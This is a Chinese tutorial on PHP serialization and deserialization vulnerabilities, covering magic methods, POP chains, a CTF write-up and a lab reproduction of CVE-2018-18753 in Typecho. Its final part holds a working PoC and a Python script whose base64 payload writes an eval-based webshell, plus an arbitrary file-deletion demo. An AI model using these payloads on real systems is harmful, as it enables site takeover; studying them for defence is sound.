前言
序列化和反序列化几乎是工程师们每天都要面对的事情,但是要精确掌握这两个概念并不容易:一方面,它们往往作为框架的一部分出现而湮没在框架之中;另一方面,它们会以其他更容易理解的概念出现,例如加密、持久化。
然而,序列化和反序列化的选型却是系统设计或重构一个重要的环节,在分布式、大数据量系统设计里面更为显著。恰当的序列化协议不仅可以提高系统的通用性、强健性、安全性、优化系统性能,而且会让系统更加易于调试、便于扩展。
互联网的产生带来了机器间通讯的需求,而互联通讯的双方需要采用约定的协议,序列化和反序列化属于通讯协议的一部分。
PHP反序列化漏洞
PHP类与对象
PHP是面向对象的程序设计语言。
在现实世界里我们所面对的事情都是对象,如计算机、电视机、自行车等。比如 Animal(动物) 是一个抽象类,我们可以具体到一只狗跟一只羊,而狗跟羊就是具体的对象,他们有颜色属性,可以写,可以跑等行为状态。
对象的主要三个特性:
- 对象的行为:可以对对象施加那些操作,开灯,关灯就是行为。
- 对象的形态:当施加那些方法是对象如何响应,颜色,尺寸,外型。
- 对象的表示:对象的表示就相当于身份证,具体区分在相同的行为与状态下有什么不同。
PHP面向对象
- 类:定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。
- 对象:类的实例。
- 成员变量:定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可称为对象的属性。
- 成员函数:定义在类的内部,可用于访问对象的数据。
- 继承:继承性是子类自动共享父类数据结构和方法的机制,这是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把这个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。
- 父类:一个类被其他类继承,可将该类称为父类,或基类,或超类。
- 子类:一个类继承其他类称为子类,也可称为派生类。
- 多态:多态性是指相同的函数或方法可作用于多种类型的对象上并获得不同的结果。不同的对象,收到同一消息可以产生不同的结果,这种现象称为多态性。
- 重载:简单说,就是函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法。
- 抽象性:抽象性是指将具有一致的数据结构(属性)和行为(操作)的对象抽象成类。一个类就是这样一种抽象,它反映了与应用有关的重要性质,而忽略其他一些无关内容。任何类的划分都是主观的,但必须与具体的应用有关。
- 封装:封装是指将现实世界中存在的某个客体的属性与行为绑定在一起,并放置在一个逻辑单元内。
- 构造函数:主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中。
- 析构函数:析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。析构函数往往用来做"清理善后" 的工作(例如在建立对象时用new开辟了一片内存空间,应在退出前在析构函数中用delete释放)
/**
* Class ClassDemo
* 一个简单的类的演示
*/
class ClassDemo
{
public $var = "PHP is the best language in the world\n";
public function echoString(){
echo $this->var;
}
}
// 创建一个新的对象
$obj = new ClassDemo();
// 调用该类的方法
$obj->echoString();
我们这里定义了一个类,类中定义了一个变量,将一个字符串赋值给他,然后定义了一个函数,函数的功能是输出这个变量,然后我们创建了一个对象,调用了这个类的方法,然后终端输出了这个字符串。
PHP中的魔术方法-Magic函数
在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定的条件出发。那么何时可能使用魔术方法?
属性重载:如果使用一个对象的未定义的属性,就构成属性重载。属性重载就是对一个“未定义”的属性,进行应对机制(处理办法)。每一个操作,都会自动各自去调用一个预先定义好的“魔术方法”。
我们这里定义了一个类,类中定义了一个变量$var并赋值了字符串"hello wuya",然后我们定义了个函数echoString(),作用是输出$var这个变量,然后我们调用了魔术方法__construct(),这个魔术方法是在一个对象被创建时调用,我们让这个函数输出"__construct"字符串,然后我们调用了__destruct()这个魔术方法,该方法在对象被销毁时调用,我们让这个函数输出"__destruct“字符串
最后我们引用了魔术方法__toString(),该魔术方法当一个对象被当作字符串使用时触发,我们让这个魔术方法返回”__toString“字符串,然后我们创建一个类,调用类的echoString()方法,最后在输出这个类。
我们来看一下类中方法的调用顺序:
/**
* Class MyClass
* Magic函数演示
*/
class MyClass
{
public $var = "hello wuya\n";
public function echoString(){
echo $this->var;
}
public function __construct(){
echo "__construct\n";
}
public function __destruct(){
echo "__destruct\n";
}
public function __toString(){
return "__toString\n";
}
}
// 创建一个新的对象,__construct被调用
$obj = new MyClass();
// 调用该类的方法
$obj->echoString();
// 以字符形式输出,__toString方法被调用
echo $obj;
// php脚本要结束时,__destruct会被调用
PHP序列化和反序列化
什么是序列化?为什么要进行序列化?
在对一个变量赋值后,若重新打开一个shell,或当本次程序运行完成后,变量值就会从内存中清除掉,而序列化的目的是把变量
保存在硬盘中,在用到时能很方便的通过反序列化把之前序列化的内容变回为可用变量。简而言之,在PHP中,序列化是用在存储或传递 PHP 的值的过程中的,同时它能不丢失其类型和结构。
序列化
serialize() 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
反序列化
unserialize() 函数用于将通过 serialize()
函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。返回的是转换之后的值,可为integer、float、string、array或object。若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。
我们这里定义了一个类SeialType,类中定义了公有的$data变量,私有的$pass变量,还有一个常量CONTRY赋值了字符串‘CHINA’,然后我们调用了魔术方法__construct
然后这个魔术方法被调用时会将传入的变量分别赋值给data和pass这两个方法,随后我们定义了一些变量,$obj是我们新创建的一个对象
最后,我们将这些值进行序列化操作,来看一下结果:
/**
* Class SerialType
* 不同类型的序列化演示
*/
class SerialType{
public $data;
private $pass;
const CONTRY = 'CHINA';
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$number = 32;
$str = 'wuyayy';
$bool = false;
$null = NULL;
$arr = array('aa' => 1, 'bbbb' => 9);
$obj = new SerialType('somestr', true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($obj));
var_dump(serialize(CONTRY));
序列化除了转换成字符格式,还可以转换成一下几种格式:
/**
* Class JsonClass
* JSON和XML序列化演示
*/
class JsonClass
{
public $word = "hello wuya";
public $prop = array('name' => 'wuya', 'age' => 31, 'motto' => 'Apple keep doctor');
}
$obj = new JsonClass();
// 转换对象为JSON字符串
$s = json_encode($obj);
// 转换对象为XML
$x = wddx_serialize_value($obj );
echo $s;
echo "\n";
echo $x;
我们这里和之前一样就不细讲了,最后这里不同,一个是将序列化的对象转换成了json格式,一个转换成了XML格式,我们来看一下输出结果:
如果我们在序列化中有不想要序列化的字段该怎么办呢?
/**
* Class User
* 演示序列化中不需要序列化的字段
*/
class User{
const SITE = 'wuya';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 重载序列化调用的方法
public function __sleep()
{
// 返回需要序列化的变量名,过滤掉password变量
return array('username', 'nickname');
}
}
$user = new User('hackerwuya', 'wuya', '123456');
var_dump(serialize($user));
这里我们定义了User这个类,类中有三个变量,这时我们可以去重写__sleep()方法,返回需要序列化的变量名,过滤掉password变量:
所以,如果你需要防止一些成员对象被序列化,你就可以去重写__sleep()这个方法
我们有序列化操作,当然也有反序列化操作
/**
* Class UnSerializeTest
* 序列化演示
*/
class UnSerializeTest
{
public $var = "hello wuya..";
public function echoString(){
echo $this->var;
}
public function __construct(){
echo "__construct\n";
}
public function __destruct(){
echo "__destruct\n";
}
public function __serialize(){
echo "__serialize\n";
}
public function __unserialize(){
echo "__unserialize\n";
}
public function __wakeup(){
echo "__wakeup\n";
}
}
// 创建一个新的类
$obj1 = new UnSerializeTest();
// 调用该类的
$obj1->echoString();
// 输出序列化以后的字符
echo "序列化以后的结果:\n";
echo serialize($obj1);
// 反序列化
// “O”表示对象,“15”表示对象名长度为15,“UnSerializeTest”为对象名,“1”表示有1个参数。
// “{}”里面是参数的key和value,“s”表示string对象,“11”表示长度,“var”则为key
// !注意,var内容和长度可以修改
//$obj2 = unserialize('O:15:"UnSerializeTest":1:{s:3:"var";s:15:"hello wuyaziabc";}');
// 调用对象方法
//echo "反序列化以后执行的结果:\n";
//var_dump($obj2);
//$obj2->echoString();
得到了我们序列化的结果:
/**
* Class UnSerializeTest
* 反序列化演示
*/
class UnSerializeTest
{
public $var = "hello wuya..";
public function echoString(){
echo $this->var;
}
public function __construct(){
echo "__construct\n";
}
public function __destruct(){
echo "__destruct\n";
}
public function __serialize(){
echo "__serialize\n";
}
public function __unserialize(){
echo "__unserialize\n";
}
public function __wakeup(){
echo "__wakeup\n";
}
}
// 创建一个新的类
//$obj1 = new UnSerializeTest();
// 调用该类的
//$obj1->echoString();
// 输出序列化以后的字符
//echo "序列化以后的结果:\n";
//echo serialize($obj1);
// 反序列化
// “O”表示对象,“15”表示对象名长度为15,“UnSerializeTest”为对象名,“1”表示有1个参数。
// “{}”里面是参数的key和value,“s”表示string对象,“11”表示长度,“var”则为key
// !注意,var内容和长度可以修改
$obj2 = unserialize('O:15:"UnSerializeTest":1:{s:3:"var";s:15:"hello wuyaziabc";}');
// 调用对象方法
//echo "反序列化以后执行的结果:\n";
var_dump($obj2);
$obj2->echoString();
这里我们已经通过上一步序列化了一个对象,然后我们对他进行反序列化操作:
序列化和反序列化的作用
反序列化漏洞的出现
POP: 面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
基本概念:在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。 二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。
POP链利用:一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
反序列化漏洞一般都是在白盒审计时发现并利用,需要构造PHP反序列化代码,利用条件比较苛刻。 总结一下PHP反序列化的挖掘思路,首先进行反序列化的数据点是用户可控的,然后反序列化类中需要有魔术方法,魔术方法中存在敏感操作,或者魔术方法中无敏感操作,但是其对象调用了其他类中的同名函数,可以通过构造POP链利用。
我们通过三段代码来理解一下POP链的利用
<?php
/**
* Class logfile
* 功能说明:临时记录日志到error.log文件
* __destruct被调用的时候,删除 error.log 文件
*/
class logfile
{
//log文件名
public $filename = 'error.log';
//一些用于储存日志的代码
public function logdata($text)
{
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 删除日志文件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.' file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
我们这里定义了一个logfile类,然后将“error.log"文件名赋值给$filename变量,创建了一个函数logdata(),作用是输出传入的参数,然后将其写入filename中,然后我们创建了一个析构函数__destruct(),在对象被销毁时执行输出被销毁的文件名,然后删除这个文件,这串代码删除的文件名是根据filename去指定的
我们来看一下第二段代码
<?php
/**
* 引用了 logfile文件,包含__destruct方法
*
*/
include 'logfile.php';
class User
{
//类数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
}
}
// 通过GET请求参数传入字符
// 此处可以反序列化任意对象
$usr = unserialize($_GET['param']);
?>
这串代码引用了logfile.php,然后定义了两个变量,定义了一个printdata()函数,作用是输出这两个变量,然后通过网页GET请求url参数param接受传参,去反序列化这个对象
我们来看一下第三段代码:
<?php
include 'logfile.php';
$obj = new logfile();
$obj->filename = 'index.php';
// 序列化
echo serialize($obj) ;
我们这里引用了logfile.php,创建了一个logfile()类的对象$obj,然后指定$obj的filename变量为index.php,然后去序列化这个对象
我们执行这串代码,得到了如下面所示的序列化对象:
这是我们当前目录下的文件:
然后我们将这些代码部署在网站,到request.php页面通过param给其传参,看看会发生什么:
然后回到我们的目录看看:
发现我们刚刚的index.php文件竟然被删除了,按照正常的程序逻辑执行,我们本来要删除的文件不应该是已经指定好的error.log文件吗?怎么会变成index.php文件吗?
我们将这种通过传入对象修改原本程序,让程序执行恶意代码的方式就称作POP链的利用
这串代码理论上来说只要我们修改传入的文件名,就可以达到恶意删除网站任意文件的目的
按照这种思路,万一他这串代码执行的不是ulink()删除文件,而是exec()等执行恶意命令的参数,那我们岂不是就可以通过构造POP链来达到让系统执行任意命令的操作了
CTF题目分析
我们现在通过CTF案例来带大家实际接触一下
题目地址:unserialize3
我们点击环境,打开靶场
出现如下页面:
我们这里写一串代码:
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
// O:4:"xctf":2:{s:4:"flag";s:3:"111";}
运行它,得到这么一串序列化对象:
将序列化出的对象这里由1改为2:
然后在经过code传参:
得到我们的flag值:
提交FLAG:
typecho反序列化漏洞分析
这里我们再来学习一下一个比较出名的CMS系统typecho曾经出现的反序列化漏洞
题目地址:
下载地址:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release
cve:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18753
PHP版本:5.4.5nts (PHPStudy)
在数据库新建一个库,命名为typecho
解压出来我们将其部署在PHPStudy,把文件放在www网站根目录下启动我们的PHPStudy
然后打开我们的数据库管理工具,创建一个typecho库
然后通过网页打开它,安装
然后我们就可以去访问了:
这里给出一串代码:
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()'; //替换phpinfo()这里进行深度利用
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
这一串代码将它保存为type-poc.php文件,我们将其部署在typecho目录下,运行它,得到这么一串数据:
我们打开浏览器,通过Hack bar提交参数:
__typecho_config后面提交的参数就是我们刚刚poc生成的结果:
提交数据,进入到phpinfo界面,poc被成功验证:
我们再来看一段代码:
import requests
import sys
url = "http://localhost/typecho/install.php?finish="
payload = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjU4OiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbNzc3XSk/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTg6ImZwdXRzKGZvcGVuKCdzaGVsbC5waHAnLCd3JyksJzw/PUBldmFsKCRfUkVRVUVTVFs3NzddKT8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9"
postData = {"__typecho_config":payload}
header ={
"Referer":url,
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"}
print(url)
res = requests.get(url)
if res.status_code == 200:
print("[+] install.php exist!")
else:
print("[-] install.php not exist")
sys.exit()
res = requests.post(url = url,data = postData,headers = header)
res = requests.get(url+"shell.php")
if res.status_code == 200:
print("[+] Shell.php write success!")
print("Shell path :",url+"shell.php")
else:
print("[-] GetShell Error!")
我们将其保存为type-poc.py文件
我们运行这串代码,成功生成了一个shell.php的文件:
注意看我们生成的文件内容是不是很熟悉?很显然是一串一句话木马
接下来我们就可以用中国蚁剑直接连接,获得网站的getshell了